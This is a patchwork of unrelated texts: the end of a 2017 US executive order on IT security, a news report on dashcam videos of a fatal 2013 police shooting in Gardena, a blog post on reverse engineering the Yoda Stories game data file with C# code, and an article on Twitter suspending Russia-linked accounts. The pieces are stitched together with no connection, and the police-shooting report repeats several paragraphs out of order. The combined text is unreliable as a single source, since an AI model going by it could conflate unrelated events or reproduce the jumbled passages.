or facilitate communications between two or more IT assets. Sec. 5. General Provisions. (a) Nothing in this order shall be construed to impair or otherwise affect: (i) the authority granted by law to an executive department or agency, or the head thereof; or (ii) the functions of the Director of OMB relating to budgetary, administrative, or legislative proposals. (b) This order shall be implemented consistent with applicable law and subject to the availability of appropriations. (c) All actions taken pursuant to this order shall be consistent with requirements and authorities to protect intelligence and law enforcement sources and methods. Nothing in this order shall be construed to supersede measures established under authority of law to protect the security and integrity of specific activities and associations that are in direct support of intelligence or law enforcement operations. (d) This order is not intended to, and does not, create any right or benefit, substantive or procedural, enforceable at law or in equity by any party against the United States, its departments, agencies, or entities, its officers, employees, or agents, or any other person. DONALD J. TRUMP THE WHITE HOUSE, May 11, 2017. |
The videos show the three unarmed men with their hands up, illuminated by the flashing lights of the cop car. Police approach the men, guns drawn. A green laser beam focuses on Diaz Zeferino, who stands in the middle of the three men. He raises and lowers his arms a number of times, as though trying to explain something, and then removes his cap and lowers his hands. Shots from the officers follow, killing Diaz Zeferino and injuring one of the other men, who has since recovered. In June 2013, Diaz Zeferino was looking for his brother's stolen bicycle with two friends. Police officers investigating the theft mistook Diaz Zeferino's friends as the thieves, and he attempted to clear up the confusion after they were detained. Gardena immediately appealed US District Judge Stephen Wilson's decision and was soon granted a stay on the order by a higher court pending arguments, but the videos are already circulating online. The Los Angeles Times , the Associated Press, and Bloomberg had challenged the protection of the videos. Police dashcams captured the final moments of 34-year-old Ricardo Diaz Zeferino, who was fatally shot by Los Angeles officers in the city of Gardena in 2013, but the videos were kept from the public until a federal judge ordered its release on Tuesday, ruling that the material is of public interest. Read more VICE News is closely watching policing in America. Check out the Officer Involved blog here. Police dashcams captured the final moments of 34-year-old Ricardo Diaz Zeferino, who was fatally shot by Los Angeles officers in the city of Gardena in 2013, but the videos were kept from the public until a federal judge ordered its release on Tuesday, ruling that the material is of public interest. Gardena immediately appealed US District Judge Stephen Wilson's decision and was soon granted a stay on the order by a higher court pending arguments, but the videos are already circulating online. The Los Angeles Times, the Associated Press, and Bloomberg had challenged the protection of the videos. In June 2013, Diaz Zeferino was looking for his brother's stolen bicycle with two friends. Police officers investigating the theft mistook Diaz Zeferino's friends as the thieves, and he attempted to clear up the confusion after they were detained. The videos show the three unarmed men with their hands up, illuminated by the flashing lights of the cop car. Police approach the men, guns drawn. A green laser beam focuses on Diaz Zeferino, who stands in the middle of the three men. He raises and lowers his arms a number of times, as though trying to explain something, and then removes his cap and lowers his hands. Shots from the officers follow, killing Diaz Zeferino and injuring one of the other men, who has since recovered. The officers involved in the shooting — Christopher Cuff, Christopher Mendez, Christopher Sanderson, and Matthew Fong Toda — were not charged, and were permitted to return to their duties in full capacity just one month after the shooting. The LA district attorney's office determined that the shooting was justified because the officers believed that Diaz Zeferino was reaching for a weapon. Earlier this year, the city of Gardena settled a lawsuit filed against it by Diaz Zeferino's family for $4.7 million. Because the incident cost the city such a hefty sum, the family's attorney Samuel Paz — who calls the shooting "cold-blooded" — has argued that the footage is a matter of public interest under California law. "The fact that they spent the city's money, presumably derived from taxes, only strengthens the public's interest in seeing the video," said Judge Wilson in his ruling. "Moreover, defendants cannot assert a valid compelling interest in sealing the videos to cover up any wrongdoing on their part or to shield themselves from embarrassment." Gardena had argued that the release of the footage would lead to a "rush to judgment" of the officer's actions. The videos have been released to a public whose sensitivity to incidents of police brutality has been heightened in the aftermath of highly publicized officer-involved killings over the last year, including those of Eric Garner in New York and Michael Brown in Ferguson, that have sparked a national outcry over heavy-handed police tactics in America. "These shootings happen, and they go into silence mode," Paz told VICE News. "Comments from the officers are sealed. Evidence is sealed." "We live in America," he added. "Our officers' conduct shouldn't be secret. This is about civil rights." |
Background I don't know why, but I've always gotten a kick out of reverse engineering data files for computer games. Although decompiling a game's code is a challenging task, data files are often much easier to figure out (as they contain lots of highly visible content like text and sprites) and let you mod the game if you're able to figure it out sufficiently. In 2006, days after the Star Wars: Empire at War demo was released, I published some rudimentary tools for dumping and repacking the game's data files, including a simple mod that let you play as the Empire (which was disabled in the demo). There are barely any traces of it left on the internet, but I managed to score a free Petroglyph t-shirt at the time so I suppose that's something. Many years before that I owned another Star Wars game called Star Wars: Yoda Stories. It appears to have been fairly obscure and poorly received, but that didn't stop me from playing the crap out of it. As a novice game programmer and die-hard Star Wars fan, I tried very hard to locate the game's resources so that I could make some sort of terrible Star Wars game of my own. Instead, all I managed to find were some sound effects and a small number of sprites that they distributed as icons, as part of a desktop theme. Fast forward sixteen years to me looking through my ancient CD collection for some old games to play at a 1990's computer themed party. After popping in the CD I immediately spot what is clearly a data file, roughly four megabytes in size, just waiting for me to apply my overpriced college degree and crack it open. Better late than never! File Structure (Difficulty: Padawan) I suppose that the only program you need to reverse engineer something like this is a hex editor, although as we'll see later a decompiler, calculator, and strong working knowledge of the target program help as well. I'm a big fan of HxD, so we're going to use that. If you want to play along at home, here's a link to the game's data file: YODESK.DTA Time to open this file! Well, that's definitely not text, or really anything remotely meant to be read by a human, but that's not exactly surprising either. I'm sure that sixteen years ago I opened this very same file in Notepad and quickly closed it, not remotely understanding what I was looking at. Right off the bat we can see some four-letter ASCII symbols, which look to me like section identifiers. Scrolling further ahead seems to confirm this: SNDS, TILE, CHAR, PUZ2, and many more. The file ends with an ENDF section, which implies that the overall file structure is some kind of hierarchy or list of tagged sections. The VERS identifier clearly starts a "version" section, which contains the following four bytes: 0x00, 0x02, 0x00, 0x00. My guess is that this is version 2.0 of the file format, as Yoda Stories was actually the successor to an Indiana Jones game that appears to use the same engine. It doesn't matter much, though, as this isn't a very interesting piece of data. Next up is the STUP (setup?) section, which contains a lot of mysterious data: There's clearly some kind of pattern here, but even with a thorough knowledge of the game it's not clear what it's for. The bigger question on my mind is: how do we skip it? Although it'd be possible to just assume it's a fixed length section and skip the data, that's probably not the case. If we look back at the start of the section (the previous screenshot) we'll see that four suspicious bytes follow the STUP identifier: 0x00, 0x44, 0x01, 0x00. If we measure the rest of the data in the section after these four bytes, we'll find that it's exactly 0x00014400 bytes long. A coincidence? I think not! These four bytes are clearly an unsigned, 32-bit integer that specifies the amount of data that make up the rest of the STUP section. If it looks like the bytes are backward, though, it's because they are: they're stored in "little-endian" order, where the less-significant bytes are stored first, a common convention for x86 and x86-64 processors. If we read this length value, we can then skip the rest of the section despite knowing nothing about the data that is stored within. Manually reading through binary files, even one as small as 4MB, isn't a very productive way to make progress, so this is a good time to start writing a program that parses the file and reads and/or dumps out data as we figure out how it's encoded. My preferred programming language is C#, so I'm going to use that; assuming the file format isn't totally screwy, I should be able to get a lot of mileage about of the BinaryReader class and get a quick start. Here's the program for what we've figured out so far: static void Main(string[] args) { using (BinaryReader binaryReader = new BinaryReader(File.OpenRead("YODESK.DTA"))) { bool keepReading = true; while (keepReading) { string section = new string(binaryReader.ReadChars(4)); switch (section) { case "VERS": uint version = binaryReader.ReadUInt32(); break; case "STUP": uint length = binaryReader.ReadUInt32(); byte[] data = binaryReader.ReadBytes((int)length); break; default: throw new Exception("Unknown section: " + section); } } } } Unfortunately, this only works for the first two sections: as soon as we hit the third section, SNDS, it becomes clear that we need to handle all the cases that will be thrown at us. This ends up being is a pretty common aspect of reverse engineering the file format, as there are many instances of values that are one of many types that require us to understand each possible type that could be encountered. Fortunately, almost all of the sections in the file have a 32-bit unsigned length following the section identifier, which means we can reuse the code from the STUP section to skip over them. static void Main(string[] args) { using (BinaryReader binaryReader = new BinaryReader(File.OpenRead("YODESK.DTA"))) { bool keepReading = true; while (keepReading) { string section = new string(binaryReader.ReadChars(4)); switch (section) { case "VERS": uint version = binaryReader.ReadUInt32(); break; case "STUP": case "SNDS": case "ZONE": case "TILE": case "PUZ2": case "CHAR": case "CHWP": case "CAUX": case "TNAM": uint sectionLength = binaryReader.ReadUInt32(); byte[] sectionData = binaryReader.ReadBytes((int)sectionLength); break; case "ENDF": keepReading = false; break; } } } } The ZONE section looks like it specifies a length immediately after (0x00010292), but if you jump forward that many bytes you'll end up in the middle of nowhere, which means we're probably interpreting things incorrectly. However, there are clearly more identifiers shortly after: IZON, IZAX, IZX2, IZX3, IZX4, and zero to many IACTs after that. This set of identifiers repeats again after that, and ends up repeating many times. This is where a bit of knowledge about the game comes in handy: one of the big "features" of Yoda Stories is that every time you play it generates a random map, but after playing a few times it's apparent that these maps are actually a set of fixed smaller maps attached together. The fact that the IACT sections contain text that look like scripts further reinforces the idea that each IZON actually corresponds to a sub-map: If we can't trivially skip the ZONE section, it means we'll have to figure out more about its structure so that we can parse it and continue parsing the rest of the document. Although I eventually figured it out, this part was much trickier than the earlier sections, as there's data mixed in near the section identifiers which doesn't actually have anything to do with length. There are many IZON sections, so there's clearly something in the data that helps get from one to the next; although it's possible that the program merely scans forward for the next "IZON" string, that'd be pretty sketchy and unreliable: who knows when you'd want to include "IZON" in an NPC's dialogue line! Measuring the length from the beginning of the first IZON to the next IZON yields a length of 0x064C, which is suspiciously close to the four bytes after the four bytes that followed the ZONE identifier (0x00000646). If we treat those four bytes as a length identifier and look at the 0x646 bytes that follow it, we can start to see a pattern emerge: 4 bytes: "ZONE" 2 bytes: ???? 2 bytes: ???? 4 bytes: length (X) X bytes: zone data 2 bytes: ???? 4 bytes: length (X) X bytes: zone data 2 bytes: ???? 4 bytes: length (X) X bytes: zone data ... 2 bytes: ???? 4 bytes: length (X) X bytes: zone data 4 bytes: "PUZ2" (start of next section) More investigation reveals more facts, some helpful, some less so: The two bytes following the ZONE identifier correspond to an unsigned, 16-bit integer that specifies the number of zones. The two bytes before each zone length specifier only ever have values 0x0001, 0x0002, 0x0003, and 0x0005. The first two bytes of the zone data are some sort of ID number for the map, starting at 0x0000 and increasing by one each time. If we update our program to read the ZONE section using our newly discovered information, we can now read through the entire file. static void Main(string[] args) { using (BinaryReader binaryReader = new BinaryReader(File.OpenRead("YODESK.DTA"))) { bool keepReading = true; while (keepReading) { string section = new string(binaryReader.ReadChars(4)); switch (section) { case "VERS": uint version = binaryReader.ReadUInt32(); break; case "STUP": case "SNDS": case "TILE": case "PUZ2": case "CHAR": case "CHWP": case "CAUX": case "TNAM": uint sectionLength = binaryReader.ReadUInt32(); byte[] sectionData = binaryReader.ReadBytes((int)sectionLength); break; case "ZONE": ushort count = binaryReader.ReadUInt16(); for (int i = 0; i < count; i++) { ushort unknown = binaryReader.ReadUInt16(); uint zoneLength = binaryReader.ReadUInt32(); byte[] zoneData = binaryReader.ReadBytes((int)zoneLength); } break; case "ENDF": keepReading = false; break; default: throw new Exception("Unknown section: " + section); } } } } With this code we are now able to read through the entire file, without hitting any exceptions that would indicate we've made a bad assumption about the overall structure of the file format. Although we're not extracting anything useful yet, we're absolutely on our way. Tiles (Difficulty: Jedi Knight) Now that we're parsing the overall structure of the file, it's time to dig in and start dumping what we came here for: the game's gloriously weird but exhaustive tile set. If we scroll forward into to the middle of the TILE section, it becomes immediately apparent that there's something going on here: bitmap images! The game's images are 32x32 pixel sprites, so if a 32-byte column width starts showing patterns like these there's a good chance that this is a non-compressed bitmap image format with one byte per pixel. If we jump back to the start of the TILE section it's easy to spot a 1024-byte (32x32) run of data that happens to map into ASCII character space, which is presumably sprite data, prefixed by four bytes. If we look at the range of values for those four bytes over the entire set of data, we can see that they're relatively random but repeat often, and look a lot like an array of bit flags. 4 bytes: flags 1024 bytes: image data 4 bytes: flags 1024 bytes: image data ... 4 bytes: flags 1024 bytes: image data Maybe the bit flags describe properties of the tiles? Who cares! We're close to extracting images! All we need to do is extend our program to dump out the presumed image data into actual image files and... case "TILE": { Directory.CreateDirectory(@"Tiles"); uint tileSectionLength = binaryReader.ReadUInt32(); for (int i = 0; i < tileSectionLength / 0x404; i++) { uint unknown = binaryReader.ReadUInt32(); Bitmap tile = new Bitmap(32, 32); for (int j = 0; j < 0x400; j++) { byte pixelData = binaryReader.ReadByte(); Color pixelColor = Color.FromArgb(pixelData, pixelData, pixelData); tile.SetPixel(j % 32, j / 32, pixelColor); } tile.Save(string.Format(@"Tiles\{0}.png", i)); } break; } Victory! Kind of... The game is obviously in color, so merely emitting the pixel value for each RGB component is not going to cut it; we'd never get anything other than grayscale. Wikipedia says that a common 8-bit true color scheme is 0bRRRGGGBB, so let's try that instead: case "TILE": { Directory.CreateDirectory(@"Tiles"); uint tileSectionLength = binaryReader.ReadUInt32(); for (int i = 0; i < tileSectionLength / 0x404; i++) { uint unknown = binaryReader.ReadUInt32(); Bitmap tile = new Bitmap(32, 32); for (int j = 0; j < 0x400; j++) { byte pixelData = binaryReader.ReadByte(); byte r = (byte)((pixelData & 0xE0) << 0); byte g = (byte)((pixelData & 0x1C) << 3); byte b = (byte)((pixelData & 0x03) << 6); Color pixelColor = Color.FromArgb(r, g, b); tile.SetPixel(j % 32, j / 32, pixelColor); } tile.Save(string.Format(@"Tiles\{0}.png", i)); } break; } This is clearly also not the right pixel format, so it's time to stop guessing and start analyzing the numbers directly. Let's grab a screenshot from the game and get some examples of what values map to what colors in the final sprite: Those shades of blue are interesting: they're very close, but have quite a few distinct shades. If we grab the pixel values from an image manipulation program, we get the following values: 0x1F 0x00 / 0x00 / 0x00 0x92 0x0B / 0x53 / 0xFB 0x93 0x00 / 0x00 / 0xFB 0x94 0x00 / 0x00 / 0xCB 0x95 0x00 / 0x00 / 0x9F 0x96 0x00 / 0x00 / 0x6F I was overly optimistic that there was some kind of bit mapping from the pixel value to the color components, but seeing 0x1F somehow map to black (all zeroes) points strongly to the contrary. If decreasing the pixel value from 0x93 to 0x92 magically adds two bytes worth of information to the color, I think it's time to resign ourselves to the inevitable: there's a color palette somewhere, and we have no clue where it is. Although it would be possible to grab a bunch of screenshots and automate the process of mapping pixel values, there really ought to be a better way; the data for the palette needs to exist somewhere. If I were programming this I'd probably just store it as an array of colors where the index into the array is the pixel data value. On a whim, let's search the file for one of the colors used in the R2D2 sprite, 0x0B53FB... Nope, nothing. BGR is another common pixel format, so maybe 0xFB530B will work? Nope. There is one place we haven't looked, though: the game's executable. We store a lot of gameplay information as code constants in our games, so maybe they did it here as well. Searching for 0x0B53FB in the binary yields no results, but when we search for the BGR value... Sweet Jesus, it's a color palette! The next four bytes are 0xFB000000, which is color 0x93 in BGRA, so there's a good chance we're onto something. If we look for the data in a disassembler, we can glean a little bit more into what's really going on: It's hard to tell from this photo, but here's our palette data, right where we'd expect to find a compile-time constant array in a decompiled program. Knowing that this is color 0x92, we can work backward to find the start of the palette and copy it into our program so that we can export images with the proper colors: private static readonly byte[] PaletteData = new byte[] { 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0x8B, 0x00, 0xC3, 0xCF, 0x4B, 0x00, 0x8B, 0xA3, 0x1B, 0x00, 0x57, 0x77, 0x00, 0x00, 0x8B, 0xA3, 0x1B, 0x00, 0xC3, 0xCF, 0x4B, 0x00, 0xFB, 0xFB, 0xFB, 0x00, 0xEB, 0xE7, 0xE7, 0x00, 0xDB, 0xD3, 0xD3, 0x00, 0xCB, 0xC3, 0xC3, 0x00, 0xBB, 0xB3, 0xB3, 0x00, 0xAB, 0xA3, 0xA3, 0x00, 0x9B, 0x8F, 0x8F, 0x00, 0x8B, 0x7F, 0x7F, 0x00, 0x7B, 0x6F, 0x6F, 0x00, 0x67, 0x5B, 0x5B, 0x00, 0x57, 0x4B, 0x4B, 0x00, 0x47, 0x3B, 0x3B, 0x00, 0x33, 0x2B, 0x2B, 0x00, 0x23, 0x1B, 0x1B, 0x00, 0x13, 0x0F, 0x0F, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 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0x00, 0x3B, 0x7B, 0xEF, 0x00, 0x23, 0x63, 0xC3, 0x00, 0x13, 0x53, 0xB3, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0xEF, 0x00, 0x00, 0x00, 0xE3, 0x00, 0x00, 0x00, 0xD3, 0x00, 0x00, 0x00, 0xC3, 0x00, 0x00, 0x00, 0xB7, 0x00, 0x00, 0x00, 0xA7, 0x00, 0x00, 0x00, 0x9B, 0x00, 0x00, 0x00, 0x8B, 0x00, 0x00, 0x00, 0x7F, 0x00, 0x00, 0x00, 0x6F, 0x00, 0x00, 0x00, 0x63, 0x00, 0x00, 0x00, 0x53, 0x00, 0x00, 0x00, 0x47, 0x00, 0x00, 0x00, 0x37, 0x00, 0x00, 0x00, 0x2B, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xE3, 0xF7, 0x00, 0x00, 0xCF, 0xF3, 0x00, 0x00, 0xB7, 0xEF, 0x00, 0x00, 0xA3, 0xEB, 0x00, 0x00, 0x8B, 0xE7, 0x00, 0x00, 0x77, 0xDF, 0x00, 0x00, 0x63, 0xDB, 0x00, 0x00, 0x4F, 0xD7, 0x00, 0x00, 0x3F, 0xD3, 0x00, 0x00, 0x2F, 0xCF, 0x00, 0x97, 0xFF, 0xFF, 0x00, 0x83, 0xDF, 0xEF, 0x00, 0x73, 0xC3, 0xDF, 0x00, 0x5F, 0xA7, 0xCF, 0x00, 0x53, 0x8B, 0xC3, 0x00, 0x2B, 0x2B, 0x00, 0x00, 0x23, 0x23, 0x00, 0x00, 0x1B, 0x1B, 0x00, 0x00, 0x13, 0x13, 0x00, 0x00, 0xFF, 0x0B, 0x00, 0x00, 0xFF, 0x00, 0x4B, 0x00, 0xFF, 0x00, 0xA3, 0x00, 0xFF, 0x00, 0xFF, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x00, 0x4B, 0x00, 0x00, 0xFF, 0xFF, 0x00, 0x00, 0xFF, 0x33, 0x2F, 0x00, 0x00, 0x00, 0xFF, 0x00, 0x00, 0x1F, 0x97, 0x00, 0xDF, 0x00, 0xFF, 0x00, 0x73, 0x00, 0x77, 0x00, 0x6B, 0x7B, 0xC3, 0x00, 0x57, 0x57, 0xAB, 0x00, 0x57, 0x47, 0x93, 0x00, 0x53, 0x37, 0x7F, 0x00, 0x4F, 0x27, 0x67, 0x00, 0x47, 0x1B, 0x4F, 0x00, 0x3B, 0x13, 0x3B, 0x00, 0x27, 0x77, 0x77, 0x00, 0x23, 0x73, 0x73, 0x00, 0x1F, 0x6F, 0x6F, 0x00, 0x1B, 0x6B, 0x6B, 0x00, 0x1B, 0x67, 0x67, 0x00, 0x1B, 0x6B, 0x6B, 0x00, 0x1F, 0x6F, 0x6F, 0x00, 0x23, 0x73, 0x73, 0x00, 0x27, 0x77, 0x77, 0x00, 0xFF, 0xFF, 0xEF, 0x00, 0xF7, 0xF7, 0xDB, 0x00, 0xF3, 0xEF, 0xCB, 0x00, 0xEF, 0xEB, 0xBB, 0x00, 0xF3, 0xEF, 0xCB, 0x00, 0xE7, 0x93, 0x07, 0x00, 0xE7, 0x97, 0x0F, 0x00, 0xEB, 0x9F, 0x17, 0x00, 0xEF, 0xA3, 0x23, 0x00, 0xF3, 0xAB, 0x2B, 0x00, 0xF7, 0xB3, 0x37, 0x00, 0xEF, 0xA7, 0x27, 0x00, 0xEB, 0x9F, 0x1B, 0x00, 0xE7, 0x97, 0x0F, 0x00, 0x0B, 0xCB, 0xFB, 0x00, 0x0B, 0xA3, 0xFB, 0x00, 0x0B, 0x73, 0xFB, 0x00, 0x0B, 0x4B, 0xFB, 0x00, 0x0B, 0x23, 0xFB, 0x00, 0x0B, 0x73, 0xFB, 0x00, 0x00, 0x13, 0x93, 0x00, 0x00, 0x0B, 0xD3, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xFF, 0xFF, 0xFF, 0x00, }; case "TILE": { Directory.CreateDirectory(@"Tiles"); uint tileSectionLength = binaryReader.ReadUInt32(); for (int i = 0; i < tileSectionLength / 0x404; i++) { uint unknown = binaryReader.ReadUInt32(); Bitmap tile = new Bitmap(32, 32); for (int j = 0; j < 0x400; j++) { byte pixelData = binaryReader.ReadByte(); byte r = PaletteData[pixelData * 4 + 2]; byte g = PaletteData[pixelData * 4 + 1]; byte b = PaletteData[pixelData * 4 + 0]; Color pixelColor = pixelData == 0 ? Color.Transparent : Color.FromArgb(r, g, b); tile.SetPixel(j % 32, j / 32, pixelColor); } tile.Save(string.Format(@"Tiles\{0}.png", i)); } break; } It worked! Over 2000 weird but adorable sprites have been extracted. It's worth pointing out that color 0x00 is actually transparent, something that's obvious from merely looking at the raw pixel data. Although it's far less interesting than dumping the images, it's not hard to decode the flags if we export them as part of the image filename and look at them all in aggregate. A bit of deduction and a lot of staring at tiny pictures and their corresponding numbers reveals the following: TILE TYPES: bit0 = game object bit1 = non-colliding, draws behind the player bit2 = colliding, middle layer bit3 = push/pull block bit4 = non-colliding, draws above the player (for tall objects that the player can walk behind) bit5 = mini map tile bit6 = weapon bit7 = item bit8 = character FLAGS FOR WEAPONS: bit16 = light blaster bit17 = heavy blaster OR thermal detonator (????) bit18 = lightsaber bit19 = the force FLAGS FOR ITEMS: bit16 = keycard bit17 = puzzle item bit18 = puzzle item (rare???) bit19 = puzzle item (key item???) bit20 = locator bit22 = health pack FLAGS FOR CHARACTERS: bit16 = player bit17 = enemy bit18 = friendly FLAGS FOR OTHER TILES: bit16 = door FLAGS FOR MINI-MAP TILES: bit17 = specific mini map tile (home) bit18 = specific mini map tile (puzzle, unsolved) bit19 = specific mini map tile (puzzle solved) bit20 = specific mini map tile (gateway, unsolved) bit21 = specific mini map tile (gateway, solved) bit22 = specific mini map tile (up wall, locked) bit23 = specific mini map tile (down wall, locked) bit24 = specific mini map tile (left wall, locked) bit25 = specific mini map tile (right wall, locked) bit26 = specific mini map tile (up wall, unlocked) bit27 = specific mini map tile (down wall, unlocked) bit28 = specific mini map tile (left wall, unlocked) bit29 = specific mini map tile (right wall, unlocked) bit30 = specific mini map tile (objective) Notably, bits 16 and above are reused with different meanings depending on the values of bits 0 through 8, which is a little confusing at first if you're expecting a particular bit to have only one meaning. Maps (Difficulty: Jedi Knight) Although at this point we've technically gotten what we came here for, the zone maps seem like an interesting thing to figure out as well. If we look back at the zone representation in the hex editor, we can see that there are a number of sub-sections for zone entries, all of which we'll need to learn more about in order to parse zones rather than skipping over them: Although it's hard to see without loading up the file yourself in a hex editor, the lengths of the IZON sub-sections are all over the place. The first four bytes after IZON look like they might be the length, but if we follow that it'll actually throw us somewhere either short of or beyond the IZAX sub-section identifier: A lot of times this process feels like playing a stubborn puzzle game (I should know, I make them) but eventually it clicks: there's a little bit of a fixed header that specifies, among other things, the size of the map (either 9x9 or 18x18), followed by 6 bytes per grid square, followed by a 16-bit integer that specifies the number of 12 byte structs that follow. The other sub-sections are equally cryptic: IZAX specifies its length plus six, as do IZX2 and IZX3, while IZX4 has a fixed length and IACT, which can appear many times, directly specifies its length. Put that all together and we get the following: 4 bytes: "IZON" 4 bytes: unknown 2 bytes: map width (W) 2 bytes: map height (H) 1 byte: map flags (unknown meanings) 5 bytes: unused (same values for every map) 1 byte: planet (0x01 = desert, 0x02 = snow, 0x03 = forest, 0x05 = swamp) 1 byte: unused (same values for every map) W*H*6 bytes: map data 2 bytes: object info entry count (X) X*12 bytes: object info data 4 bytes: "IZAX" 2 bytes: length (X) X-6 bytes: IZAX data 4 bytes: "IZX2" 2 bytes: length (X) X-6 bytes: IZX2data 4 bytes: "IZX3" 2 bytes: length (X) X-6 bytes: IZX3 data 4 bytes: "IZX4" 8 bytes: IZX4 data 4 bytes: "IACT" 4 bytes: length (X) X bytes: action data 4 bytes: "IACT" 4 bytes: length (X) X bytes: action data ... 4 bytes: "IACT" 4 bytes: length (X) X bytes: action data Knowing that there are six bytes per grid square, there's a good chance they correspond to what goes in the grid square when the map is loaded. Simply looking at the first square of the first map (0x00, 0x00, 0xFF, 0xFF, 0x01, 0x00) gives me the strong impression that it's three 16-bit integers, each representing a tile placed in that location (since there are well over 256 tiles). Extending the program to blit together the extracted tiles using this information yields the following: Maps! It looks like our guesses were spot on. It turns out that there are over 600 maps in the game, each with their own scripting and layout, which makes me appreciate how much effort went into such a simple looking game. The variable length "object info" at the end of the IZON sub-section is interesting as well, and seems to indicate additional properties about the tiles placed on the map. Looking at the data as a giant binary blob in the hex editor isn't very helpful, but when we tabulate it as 12-byte entries and compare it against a map image some patterns start to emerge: Type N/A X Y N/A Arg 09 00 00 00 04 00 04 00 01 00 01 00 09 00 00 00 09 00 09 00 01 00 05 00 09 00 00 00 0F 00 09 00 01 00 09 00 0F 00 00 00 09 00 0D 00 01 00 5D 00 06 00 00 00 0A 00 03 00 01 00 AE 04 06 00 00 00 0A 00 04 00 01 00 AE 04 If we process each entry as six 16-bit integers, the first appears to be a type flag, while the third and fourth appear to be map coordinates. Although the second and fifth end up always having the same values (0x0000 and 0x0001), the last one is all over the place, which makes it look an awful lot like an argument. When we start looking at what kind of tiles the entries point to, we can see that every entry of type 0x09 points to a door, where the argument is the ID of the map the door leads to in-game. Figuring out what all the different entry types correspond to is a bit of a grind, but by adapting our program to pause for interaction every time it discovers a not yet deciphered entry type allows us to systematically inspect every entry type in the data file. A bit of deduction and guessing yields the following: Type ID Description Argument 0x00 trigger location 0x01 spawn location 0x02 force-related location 0x03 vehicle to secondary map map that vehicle takes you to 0x04 vehicle to primary map map that vehicle takes you to 0x05 object that gives you the locator 0x06 crate item item contained within 0x07 puzzle NPC tile ID for relevant character 0x08 crate weapon weapon contained within 0x09 door (in) map that door connects to 0x0A door (out) 0x0B unused 0x0C lock 0x0D teleporter 0x0E x-wing from dagobah map that x-wing takes you to 0x0F x-wing to dagobah map that x-wing takes you to Scripts (Difficulty: Jedi Master) After figuring out the tile format and map format, a logical next step is to figure out the scripting language that powers the map-specific gameplay logic of the game. It's full of ASCII, including what look like commands, so surely it can't be that hard... right? Unfortunately, there's a lot going on here that's relatively difficult to decode. Unlike tiles and maps, which were visually obvious when we figured them out, scripts involve variables and gameplay status that isn't as easily visible or verifiable. If I was extremely dedicated to reverse engineering this game I imagine that it'd be feasible to load up the levels and match the observed gameplay behavior to the data in the scripts, but that's a little bit further than I'm willing to go. Before we wrap this up, however, we really ought to do something with everything we've learned... Making a Mod The IZON sub-section for map number 95 starts at offset 0x266512 in the data file. We can skip 20 bytes to get to the map data, and then skip 6*(18*9+12) more bytes to get to location (12, 11). If we then drop the values for tiles 1985 and 1986 into the "middle" value of each grid square using our hex editor and overwrite the game's data file, we get the following: I'm not sure why there's a sports car in the game's tileset, but I'm pretty sure it's what Yoda would use if he went out cruising for a hot date. UPDATE: sehugg from Hacker News pointed out that it's actually the car from Corvette Summer, a 1978 movie starring Mark Hamill (who played Luke Skywalker). What an Easter Egg! Conclusion There's clearly a lot more that could be done here with enough patience; after reverse engineering the majority of the game's data file, it'd be surprisingly simple to rebuild the game from scratch (it's stuck in a shockingly small window) or build tools to export, edit, and repack the game's content in order to create mods. I'm not sure why you'd want to do either of those things, but they're certainly possibilities. At a minimum, I now have access to a totally rad and exhaustive set of weird looking Star Wars sprites, and I hope that you've learned something interesting about reverse engineering data file formats for old computer games! Questions? Comments? Legal threats? Contact me at zach@zachtronics.com! |
Twitter CEO Jack Dorsey. AP Images Twitter informed US congressional investigators on Thursday that it found 201 fake accounts linked to the same Russian actors previously disclosed by Facebook. The company revealed the existence of the accounts in a blog post just hours after it met behind closed doors with the committee responsible for investigating Russian interference with US elections. Twitter said all of the 201 known accounts linked to Russia have been suspended and that none were registered as advertisers on its platform. Facebook recently disclosed that Russian agents purchased roughly $100,000 worth of ads intended to spread divisive messages ahead of the 2016 presidential election. In addition, Facebook said it uncovered nearly 500 fake accounts linked to a Russian organization known for disseminating misinformation online. Twitter also said that it showed committee investigators ads purchased by three accounts linked to the news organization Russia Today. A report earlier this year from the US intelligence community highlighted Russia Today's efforts to influence the American electoral process. "Russia and other post-Soviet states have been a primary source of automated and spammy content on Twitter for many years," Twitter said in its blog post Thursday. "An unwillingness to take this threat seriously" Sen. Mark Warner (D-VA) speaks with reporters. REUTERS/Aaron P. Bernstein The vice chairman of the intelligence committee Twitter met with, Senator Mark Warner, called the company's presentation "deeply disappointing" in front of a group of reporters Thursday. He said Twitter's decision to base its findings entirely off accounts already disclosed by Facebook "either shows an unwillingness to take this threat seriously or a complete lack of a fulsome effort." A Twitter spokesperson didn't respond to a request for comment about why the company based its findings on accounts already unearthed by Facebook rather than the broader usage of its platform. A recent study conducted by Oxford University's Computational Propaganda Project found that tweets containing "low quality political information" and "ideologically extreme" junk news flooded 12 battleground states in the run-up to US Election Day. The New York Times reported Wednesday that Twitter bots linked to Russia have been spreading politically charged messages as recently as last weekend, promoting hashtags and trending topics like #standforouranthem and #takeaknee, following President Donald Trump's controversial NFL comments last Friday. Facebook, Google, and Twitter have been called by the Senate Intelligence Committee to testify at a November 1 public hearing about Russia's use of social media to influence US elections. |
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